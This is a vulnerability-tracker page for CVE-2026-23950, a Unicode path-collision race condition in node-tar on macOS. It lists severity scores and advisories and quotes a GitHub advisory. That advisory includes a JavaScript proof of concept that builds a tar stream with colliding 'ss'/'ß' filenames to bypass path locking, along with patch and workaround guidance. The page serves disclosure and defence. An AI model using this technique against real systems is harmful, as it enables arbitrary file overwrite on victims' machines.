CVE-2026-23950

mediumpriority · track · 24EPSS 0.003 · 18 %ileDEEURUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.26% (18th) EPSS
CVSS 5.9 · medium
Is it mine?
16 products
Check your exposure
Who says so?
6 sources
cnnvd · enisa_euvd · fstec_bdu · cert_bund

EPSS · scored 2026-10-27

node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`. As a workaround, users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.8
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 5.4–8.8

v3.15.9mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:Nprimary · NVD / NIST USexploitability 2.2 · impact 3.6
v3.18.8highAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:Lsecondary · FSTEC (BDU) RU
v3.18.8highCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:Lsecondary · ENISA EU
v3.18.8highCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:Lsecondary · security-advisories@github.comexploitability 2.8 · impact 5.3
v3.18.8highCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:Lsecondaryexploitability 2.8 · impact 5.3
v3.18.8highCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:Lsecondary · OSV
v3.15.4mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Trackcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (16)

Products and version ranges known to be affected.

05

advisories (4)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2026-0770Atlassian Jira: Mehrere SchwachstellenDeutsch2026-03-17csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, Daten zu manipulieren und offenzulegen, Cross-Site-Scripting-Angriffe durchzuführen oder einen Denial-of-Service-Zustand herbeizuführen.

  • WID-SEC-W-2026-1229Atlassian Bamboo, Bitbucket, Confluence, Jira: Mehrere SchwachstellenDeutsch2026-04-21csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Atlassian Bitbucket, Atlassian Confluence und Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren oder offenzulegen oder Cross-Site-Scripting-Angriffe durchzuführen.

  • WID-SEC-W-2026-3461HCL BigFix Service Management: Mehrere SchwachstellenDeutsch2026-09-17csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in HCL BigFix ausnutzen, um Sicherheitsmaßnahmen zu umgehen, erweiterte Berechtigungen zu erlangen, beliebigen Code auszuführen, Daten offenzulegen oder zu manipulieren, SQL-Injection- oder Cross-Site-Scripting-Angriffe durchzuführen oder serverseitige Request-Forgery- sowie Brute-Force- und Session-Hijacking-Angriffe auszuführen.

  • GHSA-r6q2-hw4h-h46wRace Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS2026-01-21ghsa · osvUS

    **TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS **AUTHOR**: Tomás Illuminati ### Details A race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. ```typescript // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() }) ``` In MacOS the ```join(normalizeUnicode(p)), ``` FS confuses ß with ss, but this code does not. For example: ``````bash bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss bash-3.2$ ls collision_test_ss bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss bash-3.2$ `````` --- ### PoC ``````javascript const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream'); const exploitDir = path.resolve('race_exploit_dir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir); console.log('[*] Testing...'); console.log(`[*] Extraction target: ${exploitDir}`); // Construct stream const stream = new PassThrough(); const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000); // Key 1: "f_ss" const header1 = new tar.Header({ path: 'collision_ss', mode: 0o644, size: contentA.length, }); header1.encode(); // Key 2: "f_ß" const header2 = new tar.Header({ path: 'collision_ß', mode: 0o644, size: contentB.length, }); header2.encode(); // Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding // End stream.write(Buffer.alloc(1024)); stream.end(); // Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 }); stream.pipe(extract); extract.on('end', () => { console.log('[*] Extraction complete'); // Check what exists const files = fs.readdirSync(exploitDir); console.log('[*] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`); }); if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[*] GOOD'); } else { console.log('[-] No collision'); } }); `````` --- ### Impact This is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive. --- ### Remediation Update `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`. Users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue. ---

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

08

references (14)

External citations — patches, advisories, analysis.

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